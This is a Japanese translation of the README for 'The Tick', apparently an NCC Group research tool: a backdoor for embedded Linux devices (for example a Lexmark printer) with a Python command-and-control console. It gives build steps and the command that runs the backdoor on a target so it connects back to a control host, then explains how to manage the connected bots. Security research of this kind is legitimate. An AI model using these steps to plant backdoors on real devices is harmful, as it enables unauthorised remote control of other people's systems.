nccgroup/thetickA simple embedded Linux backdoor.
シンプルな組み込みLinuxバックドア。
The Tick は libcurl のみに依存するため、対応する開発パッケージがインストールされていることを確認してください。たとえば Debian ベースのディストリビューションでは、次のようにします:
sudo apt-get install libcurl-dev
依存関係がインストールされたら、makefile を実行するだけです:
cd src
make clean
make
「make」コマンドが完了すると、コンパイルされたバイナリは「bin」フォルダにあります。これは、ターゲットマシンで実行してリモートから制御するためのバイナリです。
サポートされているプラットフォーム向けにクロスコンパイルする場合、依存関係の解決とコンパイルは自動的に行われます。現在サポートされているクロスコンパイルプラットフォームは Lexmark CX310DN プリンターのみですが、今後さらに多くのデバイスが追加される予定です。詳細は makefile を参照してください。
コマンド＆コントロールコンソールは Python で書かれているため、コンパイルする必要はありません。
バックドアの永続性を確保する方法はターゲットプラットフォームに大きく依存するため、ここでは説明しません。
ターゲットマシンで、バックドアバイナリを次の引数で実行します:
./ticksvc ADDR PORT
「ADDR」と「PORT」は、コマンド＆コントロールコンソールが待ち受ける IP アドレスとポートに置き換える必要があります。デフォルトのポートは 5555 です。
コマンド＆コントロールコンソールはインストールを必要としませんが、未解決の依存関係がある場合があります。次のコマンドを実行して、すべての依存関係が正しくインストールされていることを確認してください（sudo は不要です）:
pip install --upgrade -r requirements.txt
ほとんどの Linux デスクトップ環境では、次の「Tick.desktop」ファイルによって、ダブルクリックでコンソールを起動できるアイコンが作成されます:
[Desktop Entry]
Encoding=UTF-8
Value=1.0
Type=Application
Name=The Tick
GenericName=The Tick
Comment=An embedded Linux backdoor
Icon=/opt/thetick/doc/logo.png
Exec=/opt/thetick/tick.py
Terminal=true
Path=/opt/thetick/
Tick.desktop ファイルの正確な場所は Linux ディストリビューションによって異なりますが、一般的にはデスクトップに配置すれば機能します。The Tick をダウンロードした場所にパスを必ず編集してください（上記の例では /opt/thetick）。
ターゲットプラットフォームでバックドアバイナリを実行するには、コントロールサーバーのホスト名とポートをコマンドラインオプションとして指定します。例:
./ticksvc control.example-domain.com 5555
コントロールサーバーでは、GNU screen インスタンスなどの内部でコンソールを実行するとよいでしょう:
sudo apt-get install screen
screen -S thetick ./thetick.py
これにより、Control+A に続けて D を押すとコンソールからデタッチできます。後で次のようにしてコンソールに戻ることができます:
screen -r thetick
コンソールは、新しいボットが接続すると通知します。「bots」コマンドで現在接続中のボットを表示し、「use」コマンドで操作するボットを選択します。「help」コマンドでユーザーマニュアルが表示されます。
コンソールの機能を示すスクリーンショットをいくつか示します:
The Tick は、Daniel Romero 氏と Mario Rivas 氏による次の 44Con プレゼンテーションで紹介されました: